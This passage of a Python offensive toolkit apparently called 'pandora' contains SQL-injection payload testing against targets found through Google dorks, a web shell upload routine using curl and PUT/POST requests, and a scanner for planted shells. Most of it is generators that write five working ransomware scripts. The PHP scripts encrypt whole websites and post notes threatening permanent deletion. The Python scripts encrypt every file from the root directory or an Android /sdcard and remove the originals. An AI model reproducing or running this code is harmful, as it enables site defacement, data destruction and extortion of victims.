req = requests.get(url)
elif tampers.lower() == 'y':
req = requests.get(url, headers=heads)
else:
print(red + "invalid option")
exit()
if ("Warning: mysql_query" or "Warning: mysql_fetch_row" or "Warning: mysql_fetch_assoc" or "Warning: mysql_fetch_object" or "Warning: mysql_numrows" or "Warning: mysql_num_rows" or "Warning: mysql_fetch_array" or "Warning: pg_connect" or "Supplied argument is not a valid PostgreSQL result" or "PostgreSQL query failed: ERROR: parser: parse error" or "MySQL Error" or "MySQL ODBC" or "MySQL Driver" or "supplied argument is not a valid MySQL result resource" or "on MySQL result index" or "Oracle ODBC" or "Oracle Error" or "Oracle Driver" or "Oracle DB2" or "Microsoft JET Database Engine error" or "ADODB.Command" or "ADODB.Field error" or "Microsoft Access Driver" or "Microsoft VBScript runtime error" or "Microsoft VBScript compilation error" or "Microsoft OLE DB Provider for SQL Server error" or "OLE/DB provider returned message" or "OLE DB Provider for ODBC" or "ODBC SQL" or "ODBC DB2" or "ODBC Driver" or "ODBC Error" or "ODBC Microsoft Access" or "ODBC Oracle" or "JDBC SQL" or "JDBC Oracle" or "JDBC MySQL" or "JDBC error" or "JDBC Driver" or "Invision Power Board Database Error" or "DB2 ODBC" or "DB2 error" or "DB2 Driver" or "error in your SQL syntax" or "unexpected end of SQL command" or "invalid query" or "SQL command not properly ended" or "Error converting data type varchar to numeric" or "An illegal character has been found in the statement" or "Active Server Pages error" or "ASP.NET_SessionId" or "ASP.NET is configured to show verbose error messages" or "A syntax error has occurred" or "ORA-01756" or "Error Executing Database Query" or "Unclosed quotation mark" or "BOF or EOF" or "GetArray" or "FetchRow" or "Input string was not in a correct format" or "Warning: include" or "Warning: require_once" or "function.include" or "Disallowed Parent Path" or "function.require" or "Warning: main" or "Warning: session_start" or "Warning: getimagesize" or "Warning: mysql_result" or "Warning: pg_exec" or "Warning: array_merge" or "Warning: preg_match" or "Incorrect syntax near" or "ORA-00921: unexpected end of SQL command" or "Warning: ociexecute" or "Warning: ocifetchstatement" or "error ORA-" or "u have an error in your SQL syntax" in req.text):
print(yellow + f"[{green}~{yellow}] {gold}Target is {green}vuln!{yellow}")
print(yellow + f"Payload : {url}")
else:
print(f"{yellow}[ {red}CRITICAL {yellow}] {gold}Maybe target has no vuln.")
def testing():
heads = {
f"User-Agent": f"{random.choice(user_agents)}",
f"Host": f"{target}",
f"Content-Length": "20",
"Accept-Language": "en-US,en;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Cache-Control": "no-cache",
"Accept": "*/*",
"Content-Type": "text/html",
"Referer": "https://gtamper.co.me",
"X-Forwarded-For": "127.0.0.1",
"X-Custom-Header": "GTamper",
}
payload = ["'", "'--+", "'or 1=1 1-- +", "' OR 1=1; --"]
print(yellow + f"[~] Testing vuln with a {red}coma..{yellow}")
for pay in payload:
def testingsql():
if tampers.lower() == 'n':
a = requests.get(target+pay).text
elif tampers.lower() == 'y':
a = requests.get(target+pay, headers=heads).text
if ("Warning: mysql_query" or "Warning: mysql_fetch_row" or "Warning: mysql_fetch_assoc" or "Warning: mysql_fetch_object" or "Warning: mysql_numrows" or "Warning: mysql_num_rows" or "Warning: mysql_fetch_array" or "Warning: pg_connect" or "Supplied argument is not a valid PostgreSQL result" or "PostgreSQL query failed: ERROR: parser: parse error" or "MySQL Error" or "MySQL ODBC" or "MySQL Driver" or "supplied argument is not a valid MySQL result resource" or "on MySQL result index" or "Oracle ODBC" or "Oracle Error" or "Oracle Driver" or "Oracle DB2" or "Microsoft JET Database Engine error" or "ADODB.Command" or "ADODB.Field error" or "Microsoft Access Driver" or "Microsoft VBScript runtime error" or "Microsoft VBScript compilation error" or "Microsoft OLE DB Provider for SQL Server error" or "OLE/DB provider returned message" or "OLE DB Provider for ODBC" or "ODBC SQL" or "ODBC DB2" or "ODBC Driver" or "ODBC Error" or "ODBC Microsoft Access" or "ODBC Oracle" or "JDBC SQL" or "JDBC Oracle" or "JDBC MySQL" or "JDBC error" or "JDBC Driver" or "Invision Power Board Database Error" or "DB2 ODBC" or "DB2 error" or "DB2 Driver" or "error in your SQL syntax" or "unexpected end of SQL command" or "invalid query" or "SQL command not properly ended" or "Error converting data type varchar to numeric" or "An illegal character has been found in the statement" or "Active Server Pages error" or "ASP.NET_SessionId" or "ASP.NET is configured to show verbose error messages" or "A syntax error has occurred" or "ORA-01756" or "Error Executing Database Query" or "Unclosed quotation mark" or "BOF or EOF" or "GetArray" or "FetchRow" or "Input string was not in a correct format" or "Warning: include" or "Warning: require_once" or "function.include" or "Disallowed Parent Path" or "function.require" or "Warning: main" or "Warning: session_start" or "Warning: getimagesize" or "Warning: mysql_result" or "Warning: pg_exec" or "Warning: array_merge" or "Warning: preg_match" or "Incorrect syntax near" or "ORA-00921: unexpected end of SQL command" or "Warning: ociexecute" or "Warning: ocifetchstatement" or "error ORA-" or "u have an error in your SQL syntax" in a):
print(f"{yellow}[{green}~{yellow}] {gold}Site : {target} is Vuln!{white}")
else:
print(f"{yellow}[{red} CRITICAL {yellow}] {gold}Site : {red}{target}{yellow} maybe not vuln {white}")
choicess = input("Do you want to continue ? Y/N : ")
if choicess.lower() == 'y':
start_injection_sql()
else:
exit()
start_injection_sql()
testingsql()
testing()
if choi == '1':
singleinject()
elif choi == '2':
try:
target = str(input(f"{yellow}[{green}~{yellow}] {gold}Enter your dork :{white} \n"))
for i in search(target, num=int(1), pause=2, start=0, stop=0):
try:
print(f"{yellow}[{green}~{yellow}] {gold}{i}")
except urllib.error.HTTPError as e:
if e.code == 429:
continue
else:
continue
print('Done.')
except:
print('Error')
exit()
elif choi == '3':
pass
target = str(input(f"{yellow}[{green}~{yellow}] {gold}Enter your dork :{white} \n"))
for i in search(target, num=int(1), pause=2, start=0, stop=0):
try:
print(f"{yellow}[{green}~{yellow}] {gold}{i}")
except urllib.error.HTTPError as e:
if e.code == 429:
continue
else:
continue
sites = i.split()
for site in sites:
dorkninject(site)
print('done')
exit()
elif choi == '4':
p = input("Your shell path (directory) : ")
t = input("Your target : ")
os.system(f'curl -T {p} {t}')
payload = {file: p}
requests.post(t, data=payload)
requests.put(t + "/" + p, data=p)
print('Done')
elif choi == '5':
def web_crawler(url):
heads = {
f"User-Agent": f"{random.choice(user_agents)}",
f"Host": f"{url}",
f"Content-Length": "20",
"Accept-Language": "en-US,en;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Cache-Control": "no-cache",
"Accept": "*/*",
"Content-Type": "text/html",
"Referer": "https://gtamper.co.me",
"X-Forwarded-For": "127.0.0.1",
"X-Custom-Header": "GTamper",
}
try:
# Send a GET request to the URL
response = requests.get(url, headers=heads)
# Check if the request was successful (status code 200)
if response.status_code == 200:
# Parse the HTML content of the webpage
soup = BeautifulSoup(response.content, 'html.parser')
# Get the base URL of the site
base_url = response.url
print(f"{yellow}[{green}~{yellow}] {gold}Site: {white}", base_url)
# Extract all the links on the webpage
links = soup.find_all('a', href=True)
for link in links:
absolute_url = urljoin(base_url, link['href'])
if '?' in absolute_url:
print(f"{yellow}[{green}~{yellow}]{gold} URI: {white}", absolute_url)
elif absolute_url.endswith('/'):
print(f"{yellow}[{green}~{yellow}] {gold}Crawled folder: {white}", absolute_url)
ext = ['doc', 'docx', 'pdf', 'db', 'sql', 'xls', 'xlsx', 'docm', 'dotm', 'ppt', 'php']
for i in ext:
if absolute_url.endswith(i):
print(f"{yellow}[{green}~{yellow}]{gold} Crawled file: {white}", absolute_url)
else:
print(red + f"Failed to retrieve webpage. Status code:", response.status_code)
except Exception as e:
print(red + f"An error occurred:", str(e))
# Example usage
if __name__ == '__main__':
site = input(f"{yellow}[{green}~{yellow}] {gold} Your Target URL : {white}")
web_crawler(site)
elif choi == '6':
def search_shells(url):
heads = {
f"User-Agent": f"{random.choice(user_agents)}",
f"Host": f"{url}",
f"Content-Length": "20",
"Accept-Language": "en-US,en;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Cache-Control": "no-cache",
"Accept": "*/*",
"Content-Type": "text/html",
"Referer": "https://gtamper.co.me",
"X-Forwarded-For": "127.0.0.1",
"X-Custom-Header": "GTamper",
}
try:
resp = requests.get(url, headers=heads)
if resp.status_code == 200:
base_url = resp.url
soup = BeautifulSoup(resp.content, 'html.parser')
links = soup.find_all('a', href=True)
for link in links:
absolute_url = urljoin(base_url, link['href'])
if c.lower() == 'y':
print(f"Example, Shell Name : indoxploit.php,mini.php,shellv3.php,shell.php")
s = input(f"{yellow}[{green}~{yellow}]{gold} Shell Name : {white}")
se = s.split(',')
sh = se
elif c.lower() == 'n':
sh = ['indoxploit.php', 'mini.php', 'shellv3.php', 'shell', 'shell', 'adminweb.php', 'shellv2', 'shellv3', '.php']
for i in sh:
print(f"{yellow}[ {green}INFO{yellow} ]{gold} Searching For {i} .. {yellow}[ {green}~ {yellow}]{white}")
if absolute_url.endswith(i):
print(f"{yellow}[{green}~{yellow}]{gold} Shell file: {white}", absolute_url)
else:
print(f"{yellow}[ {red}CRITICAL {yellow}] {gold}Failed to connect to target, target maybe down or smth else. {white}")
exit()
except Exception as e:
print(f"{yellow}[ {red}CRITICAL {yellow}] {gold} Error : ", e)
if __name__ == '__main__':
target = input(f"{yellow}[{green}~{yellow}]{gold} Your Target Url : ")
c = input(f"{yellow}[{green}~{yellow}]{gold} Custom Shell Name ? Y/N : {white}")
search_shells(target)
else:
print(red + 'Invalid options!')
return sqlite()
def ransomware1(sa, email, name, greetz):
ransomware1 = "<?php\n"
ransomware1 += "$encryptionKey = 'yoursitehasbeenencrypted'; // Change this to your desired encryption key\n"
ransomware1 += "// Function to encrypt a file\n"
ransomware1 += "function encryptFile($fileName, $encryptionKey) {\n"
ransomware1 += " $fileContent = file_get_contents($fileName);\n"
ransomware1 += " $encryptedContent = openssl_encrypt($fileContent, 'AES-256-CBC', $encryptionKey, 0, 'FuckY0URS1T3');\n"
ransomware1 += " file_put_contents($fileName, $encryptedContent);\n"
ransomware1 += "}\n\n"
ransomware1 += "// Encrypt all files in a directory\n"
ransomware1 += "function encryptDirectory($dir, $encryptionKey) {\n"
ransomware1 += " $files = scandir($dir);\n"
ransomware1 += " foreach($files as $file) {\n"
ransomware1 += " $filePath = $dir . '/' . $file;\n"
ransomware1 += " if(is_file($filePath)) {\n"
ransomware1 += " encryptFile($filePath, $encryptionKey);\n"
ransomware1 += " } elseif($file != '.' && $file != '..' && is_dir($filePath)) {\n"
ransomware1 += " encryptDirectory($filePath, $encryptionKey);\n"
ransomware1 += " }\n"
ransomware1 += " }\n"
ransomware1 += "}\n\n"
ransomware1 += "// Function to create glitch effect on text\n"
ransomware1 += "function glitchText($text) {\n"
ransomware1 += " $glitchedText = '';\n"
ransomware1 += " for ($i = 0; $i < strlen($text); $i++) {\n"
ransomware1 += ''' $glitchedText .= '<span style="color: white; text-shadow: 0 0 2px #00FFFF, 0 0 5px #00FFFF, 0 0 10px #00FFFF, 0 0 20px #00FFFF, 0 0 30px #00FFFF, 0 0 40px #00FFFF, 0 0 55px #00FFFF, 0 0 75px #00FFFF;">' . $text[$i] . '</span>';\n'''
ransomware1 += " }\n"
ransomware1 += " return $glitchedText;\n"
ransomware1 += "}\n\n"
ransomware1 += "// Main ransomware function\n"
ransomware1 += "function ransomware($encryptionKey) {\n"
ransomware1 += " // Encrypt files in current directory\n"
ransomware1 += " encryptDirectory('.', $encryptionKey);\n"
ransomware1 += "}\n\n"
ransomware1 += "// Call the ransomware function\n"
ransomware1 += "ransomware($encryptionKey);\n"
ransomware1 += "$notes = '\n"
ransomware1 += "<!DOCTYPE html>\n"
ransomware1 += "<html>\n"
ransomware1 += "<head>\n"
ransomware1 += f" <title>Locked by {name}</title>\n"
ransomware1 += '<table width="100%" height="100%">\n'
ransomware1 += '<tbody><tr><td align="center">\n'
ransomware1 += "<style>\n"
ransomware1 += " @keyframes colorChange {\n"
ransomware1 += " 0% {\n"
ransomware1 += " background-color: blue;\n"
ransomware1 += " }\n"
ransomware1 += " 100% {\n"
ransomware1 += " background-color: purple;\n"
ransomware1 += " }\n"
ransomware1 += " }\n\n"
ransomware1 += " @keyframes glitch {\n"
ransomware1 += " 2%, 64% {\n"
ransomware1 += " transform: translate(2px, -2px);\n"
ransomware1 += " }\n"
ransomware1 += " 4%, 60% {\n"
ransomware1 += " transform: translate(-2px, 2px);\n"
ransomware1 += " }\n"
ransomware1 += " 62% {\n"
ransomware1 += " transform: translate(-1px, 1px);\n"
ransomware1 += " }\n"
ransomware1 += " }\n\n"
ransomware1 += " body {\n"
ransomware1 += " font-family: Arial, sans-serif;\n"
ransomware1 += " font-size: 20px;\n"
ransomware1 += " text-align: center;\n"
ransomware1 += " overflow: hidden;\n"
ransomware1 += " }\n\n"
ransomware1 += " h1 {\n"
ransomware1 += " color: white;\n"
ransomware1 += " font-size: 28px;\n"
ransomware1 += " animation: glitch 0.3s infinite;\n"
ransomware1 += " }\n\n"
ransomware1 += " p {\n"
ransomware1 += " color: white;\n"
ransomware1 += " font-size: 18px;\n"
ransomware1 += " animation: glitch 0.3s infinite;\n"
ransomware1 += " }\n\n"
ransomware1 += " .container {\n"
ransomware1 += " display: flex;\n"
ransomware1 += " flex-direction: column;\n"
ransomware1 += " align-items: center;\n"
ransomware1 += " justify-content: center;\n"
ransomware1 += " height: 100vh;\n"
ransomware1 += " overflow: hidden;\n"
ransomware1 += " animation: colorChange 5s infinite;\n"
ransomware1 += " }\n"
ransomware1 += "</style>\n\n"
ransomware1 += '<div class="container">\n'
ransomware1 += f" <h1>Locked by {name}</h1>\n"
ransomware1 += f" <p>Contact me at {email}.<br>Failure to comply will result in permanent deletion of your files.</p>\n"
ransomware1 += f" <p>Greetz:<br><br>{greetz}</p>\n"
ransomware1 += "</div></html>';\n"
ransomware1 += "file_put_contents('index.php', $notes);\n"
ransomware1 += "?>"
target_directory = 'Ransomware'
file_name = sa+'.php'
path = os.path.join(target_directory, file_name)
def startloggingransomware1(path, ransomware1, sa):
with open(path, "a") as file:
file.write(str(ransomware1))
file.close()
print("Saved As : {}.php in dir : {}".format(sa, f'pandora/Ransomware/{sa}.php'))
startloggingransomware1(path, ransomware1, sa)
return ransomware1
def ransomware2(name, sa):
func = "{\n"
func += " $fileContent = file_get_contents($fileName);\n"
func += " $encryptedContent = openssl_encrypt($fileContent, 'AES-256-CBC', $encryptionKey, 0, 'FuckY0URS1T3');\n"
func += " file_put_contents($fileName, $encryptedContent);\n"
func += "}\n\n"
func += "// Encrypt all files in a directory\n"
func += "function encryptDirectory($dir, $encryptionKey) {\n"
func += " $files = scandir($dir);\n"
func += " foreach($files as $file) {\n"
func += " $filePath = $dir . '/' . $file;\n"
func += " if(is_file($filePath)) {\n"
func += " encryptFile($filePath, $encryptionKey);\n"
func += " } elseif($file != '.' && $file != '..' && is_dir($filePath)) {\n"
func += " encryptDirectory($filePath, $encryptionKey);\n"
func += " }\n"
func += " }\n"
func += "}\n\n"
func += "// Function to create glitch effect on text\n"
func += "function glitchText($text) {\n"
func += " $glitchedText = '';\n"
func += " for ($i = 0; $i < strlen($text); $i++) {\n"
func += ' $glitchedText .= "<span style="color: white; text-shadow: 0 0 2px #00FFFF, 0 0 5px #00FFFF, 0 0 10px #00FFFF, 0 0 20px #00FFFF, 0 0 30px #00FFFF, 0 0 40px #00FFFF, 0 0 55px #00FFFF, 0 0 75px #00FFFF;">" . $text[$i] . "</span>";\n'
func += " }\n"
func += " return $glitchedText;\n"
func += "}"
glitvh = f"$glitchedText = glitchText('404 Encrypted By {name}');"
shape1= '{'
shape2= '}'
func2 = f"{shape1}\n"
func2 += f" // Encrypt files in current directory\n"
func2 += f" encryptDirectory('.', $encryptionKey);\n\n"
func2 += f" // Create glitched HTML message\n"
func2 += f" {glitvh}\n"
func2 += f" $htmlMessage = '<html><head><style>@import url('https://fonts.googleapis.com/css2?family=Roboto:wght@400;700&display=swap');</style></head><body style='background: linear-gradient(to right, blue, cyan);'><h1 style='font-family: Roboto, sans-serif; color: white; text-align: center;'>$glitchedText</h1><h2 style='font-family: Roboto, sans-serif; color: white; text-align: center;'>Wh00pz, It's encrypted! Enjoy the new site !</h2></body></html>';\n"
func2 += f" // Write HTML message to a file\n"
func2 += f" file_put_contents('index.php', $htmlMessage);\n\n"
func2 += f' echo "Wh00pz!, Encrypted By {sa}, Enjoy your new SITE!.";\n'
func2 += f"{shape2}"
mainransom = f"// Main ransomware function\n"
mainransom += f"function ransomware($encryptionKey) {func2}\n\n"
mainransom += f"// Call the ransomware function\n"
mainransom += f"ransomware($encryptionKey);\n\n"
mainransom += f"?>"
ransomware2 = f"<?php\n\n"
ransomware2 += f"// Ransomware PHP script to encrypt files with a cool HTML message including a glitch effect\n"
ransomware2 += f"// Disclaimer: This script is for educational purposes only and should not be used for malicious intent.\n\n"
ransomware2 += f'$encryptionKey = "zxcvbnm1234567890asdfghjklzxcvbnmqwertyuiop"; // Change this to your desired encryption key\n'
ransomware2 += f"{func}\n"
ransomware2 += f"// Function to encrypt a file\n"
ransomware2 += f"function encryptFile($fileName, $encryptionKey) {mainransom}"
target_directory = 'Ransomware'
file_name = sa+'.php'
path = os.path.join(target_directory, file_name)
def startloggingransomware2(path, ransomware2, sa):
with open(path, "a") as file:
file.write(str(ransomware2))
file.close()
print("Saved As : {}.php in dir : {}".format(sa, f'pandora/Ransomware/{sa}.php'))
startloggingransomware2(path, ransomware2, sa)
return ransomware2
def ransomware3(name, sa):
ransomware3 = f"import os\n"
ransomware3 += f"import sys\n"
ransomware3 += f"import base64\n"
ransomware3 += f"from Crypto.Cipher import AES\n\n"
ransomware3 += f"def encrypt_file(filename, key):\n"
ransomware3 += f" chunk_size = 64 * 1024\n"
ransomware3 += f' output_filename = filename + ".lockedby{name}"\n\n'
ransomware3 += f" try:\n"
ransomware3 += f" with open(filename, 'rb') as file:\n"
ransomware3 += f" data = file.read()\n\n"
ransomware3 += f" cipher = AES.new(key, AES.MODE_ECB)\n"
ransomware3 += f" encrypted_data = cipher.encrypt(pad_data(data))\n\n"
ransomware3 += f" with open(output_filename, 'wb') as file:\n"
ransomware3 += f" file.write(base64.b64encode(encrypted_data))\n"
ransomware3 += f" os.remove(filename)\n"
ransomware3 += f' print("File locked: " + filename)\n'
ransomware3 += f' print("Encrypted file: " + output_filename)\n\n'
ransomware3 += f" except Exception as e:\n"
ransomware3 += f' print("Error: " + str(e))\n'
ransomware3 += f" pass\n\n"
ransomware3 += f"def pad_data(data):\n"
ransomware3 += f" padding_size = AES.block_size - (len(data) % AES.block_size)\n"
ransomware3 += f" return data + (chr(padding_size) * padding_size).encode()\n\n"
ransomware3 += f'if __name__ == "__main__":\n'
ransomware3 += f" key = b'SuperSecretKey123' # Change this with your desired encryption key\n\n"
ransomware3 += f" # Enter the directory path you want to encrypt\n"
ransomware3 += f" directory_path = '/'\n\n"
ransomware3 += f" for root, dirs, files in os.walk(directory_path):\n"
ransomware3 += f" for file in files:\n"
ransomware3 += f" file_path = os.path.join(root, file)\n"
ransomware3 += f" encrypt_file(file_path, key)\n\n"
ransomware3 += f'print("All files encrypted successfully!")'
target_directory = 'Ransomware'
file_name = sa+'.py'
path = os.path.join(target_directory, file_name)
def startloggingransomware3(path, ransomware3, sa):
with open(path, "a") as file:
file.write(str(ransomware3))
file.close()
print("Saved As : {}.py in dir : {}".format(sa, f'pandora/Ransomware/{sa}.py'))
startloggingransomware3(path, ransomware3, sa)
return ransomware3
def ransomware4(sa):
ransomware4 = "import os\n"
ransomware4 += "from cryptography.fernet import Fernet\n\n"
ransomware4 += "def encrypt_file(key, path):\n"
ransomware4 += " try:\n"
ransomware4 += " with open(path, 'rb+') as file:\n"
ransomware4 += " file_data = file.read()\n"
ransomware4 += " cipher = Fernet(key)\n"
ransomware4 += " encrypted_data = cipher.encrypt(file_data)\n\n"
ransomware4 += " file.seek(0)\n"
ransomware4 += " file.write(encrypted_data)\n"
ransomware4 += " file.truncate()\n"
ransomware4 += " return True\n"
ransomware4 += " except:\n"
ransomware4 += " return False\n\n"
ransomware4 += "def lock_android_files():\n"
ransomware4 += " key = Fernet.generate_key()\n"
ransomware4 += " files = []\n\n"
ransomware4 += " # Specify the directory to target for encryption\n"
ransomware4 += " target_directory = '/sdcard/\n\n'"
ransomware4 += " # Walk through the directory and find all files\n"
ransomware4 += " for root, _, filenames in os.walk(target_directory):\n"
ransomware4 += " for filename in filenames:\n"
ransomware4 += " file_path = os.path.join(root, filename)\n"
ransomware4 += " files.append(file_path)\n\n"
ransomware4 += " for file in files:\n"
ransomware4 += " if encrypt_file(key, file):\n"
ransomware4 += ' print(f"Successfully encrypted: {file}")\n'
ransomware4 += " else:\n"
ransomware4 += ' print(f"Failed to encrypt: {file}")\n\n'
ransomware4 += " # Display a message on the device screen\n"
ransomware4 += " message_file = '/sdcard/ransomware_message.txt'\n"
ransomware4 += ' message = "Locked By Ransomware"\n\n'
ransomware4 += " if encrypt_file(key, message_file):\n"
ransomware4 += " with open(message_file, 'w') as file:\n"
ransomware4 += " file.write(message)\n"
ransomware4 += ' print("Message file encrypted successfully")\n'
ransomware4 += " else:\n"
ransomware4 += ' print("Failed to encrypt message file")\n'
ransomware4 += "lock_android_files()"
target_directory = 'Ransomware'
file_name = sa+'.py'
path = os.path.join(target_directory, file_name)
def startloggingransomware4(path, ransomware4, sa):
with open(path, "a") as file:
file.write(str(ransomware4))
file.close()
print("Saved As : {}.py in dir : {}".format(sa, f'pandora/Ransomware/{sa}.py'))
startloggingransomware4(path, ransomware4, sa)
return ransomware4
def ransomware5(name, sa):
ransomware5 = f"import os\n"
ransomware5 += f"import shutil\n"
ransomware5 += f"import getpass\n"
ransomware5 += f"from Crypto.Cipher import AES\n"
ransomware5 += f"from Crypto.Util.Padding import pad\n"
ransomware5 += f"import base64\n\n"
ransomware5 += f"# Get the secret key for encryption\n"
ransomware5 += f"password = 'Y0URM0MM41SG01N9T0B33XPL0D3D!H4HaHaAHA'\n\n"
ransomware5 += f"def encrypt_file(file_path):\n"
ransomware5 += f" try:\n"
ransomware5 += f" # Open the input file\n"
ransomware5 += f" with open(file_path, 'rb') as file:\n"
ransomware5 += f" file_data = file.read()\n\n"
ransomware5 += f" # Initialize the cipher with the secret key and AES mode\n"
ransomware5 += f" cipher = AES.new(pad(password.encode(), AES.block_size), AES.MODE_ECB)\n\n"
ransomware5 += f" # Encrypt the file data and base64 encode it\n"
ransomware5 += f" encrypted_data = cipher.encrypt(pad(file_data, AES.block_size))\n"
ransomware5 += f" encrypted_data = base64.b64encode(encrypted_data)\n\n"
ransomware5 += f" # Write the encrypted data back to the file\n"
ransomware5 += f" with open(file_path, 'wb') as file:\n"
ransomware5 += f" file.write(encrypted_data)\n\n"
ransomware5 += f" except:\n"
ransomware5 += f" pass\n\n"
ransomware5 += f"# Get all files in the system\n"
ransomware5 += f"file_list = []\n"
ransomware5 += f"for dirpath, dirnames, filenames in os.walk('/'):\n"
ransomware5 += f" for file in filenames:\n"
ransomware5 += f" file_list.append(os.path.join(dirpath, file))\n"
ransomware5 += f"# Encrypt each file in the system\n"
ransomware5 += f"for file in file_list:\n"
ransomware5 += f" encrypt_file(file)\n\n"
ransomware5 += f"# Display the ransom message\n"
ransomware5 += f'print("Locked By {name} Ransomware")'
target_directory = 'Ransomware'
file_name = sa+'.py'
path = os.path.join(target_directory, file_name)
def startloggingransomware5(path, ransomware5, sa):
with open(path, "a") as file:
file.write(str(ransomware5))
file.close()
print("Saved As : {}.py in dir : {}".format(sa, f'pandora/Ransomware/{sa}.py'))